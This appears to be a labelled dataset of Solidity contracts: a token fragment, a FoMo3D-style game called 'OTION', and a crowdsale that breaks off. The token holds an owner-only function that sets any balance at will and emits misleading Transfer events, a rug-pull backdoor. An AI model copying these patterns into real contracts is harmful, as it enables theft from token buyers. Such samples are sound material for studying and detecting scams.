mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require(msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,372 |
pragma solidity ^0.4.24;
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
contract modularFast is F3Devents {}
contract FoMo3DFast is modularFast {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x990116637aa0e6fBf1549908C079385a38A1B4bC);
address private admin = msg.sender;
string constant public name = "OTION";
string constant public symbol = "OTION";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 888 minutes;
uint256 constant private rndInc_ = 20 seconds;
uint256 constant private rndMax_ = 888 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(80,0);
potSplit_[0] = F3Ddatasets.PotSplit(0,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, _eventData_);
}
function buyXnameQR(address _realSender)
isActivated()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePIDQR(_realSender,_eventData_);
uint256 _pID = pIDxAddr_[_realSender];
buyCoreQR(_realSender, _pID, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function withdrawQR(address _realSender)
isActivated()
payable
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[_realSender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
_realSender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, _realSender, plyr_[_pID].name, _eth, _now);
}
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add(((round_[_rID].pot))),
(plyr_[_pID].gen).add(getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask)),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _affID = 1;
uint256 _team = 0;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(address(0), _rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function buyCoreQR(address _realSender, uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _affID = 1;
uint256 _team = 0;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_realSender,_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
_realSender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function core(address _realSender, uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTxQR(_realSender,_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function determinePIDQR(address _realSender, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[_realSender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(_realSender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[_realSender] = _pID;
plyr_[_pID].addr = _realSender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = _pot;
uint256 _gen = 0;
uint256 _p3d = 0;
uint256 _res = 0;
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p3d = _eth / 50;
uint256 _aff = _eth.mul(8) / 100;
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
admin.transfer(_p3d);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _potAmount = _eth / 10;
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _potAmount.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _potAmount;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTxQR(address _realSender,uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
_realSender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
} | 1 | 3,501 |
pragma solidity ^0.4.15;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
bool public stopped;
modifier stopInEmergency {
require(!stopped);
_;
}
modifier onlyInEmergency {
require(stopped);
_;
}
function emergencyStop() external onlyOwner {
stopped = true;
}
function release() external onlyOwner onlyInEmergency {
stopped = false;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
function withdrawPayments() {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
}
contract Crowdsale is Pausable, PullPayment {
using SafeMath for uint;
struct Backer {
uint weiReceived;
uint256 coinSent;
}
uint public constant MIN_CAP = 100000 ether;
uint public constant MAX_CAP = 8000000 ether;
uint public constant MIN_BUY_ETHER = 100 finney;
struct Potential_Investor {
uint weiReceived;
uint256 coinSent;
uint profitshare;
}
uint public constant MIN_INVEST_BUY = 2000 ether;
uint public MAX_INVEST_SHARE = 4900;
uint private constant CROWDSALE_PERIOD = 62 days;
uint public constant COIN_PER_ETHER = 500;
uint public constant BIGSELL = COIN_PER_ETHER * 100 ether;
DARFtoken public coin;
address public multisigEther;
uint public etherReceived;
uint public coinSentToEther;
uint public invcoinSentToEther;
uint public startTime;
uint public endTime;
bool public crowdsaleClosed;
mapping(address => Backer) public backers;
mapping(address => Potential_Investor) public Potential_Investors;
modifier minCapNotReached() {
require(!((now < endTime) || coinSentToEther >= MIN_CAP ));
_;
}
modifier respectTimeFrame() {
require(!((now < startTime) || (now > endTime )));
_;
}
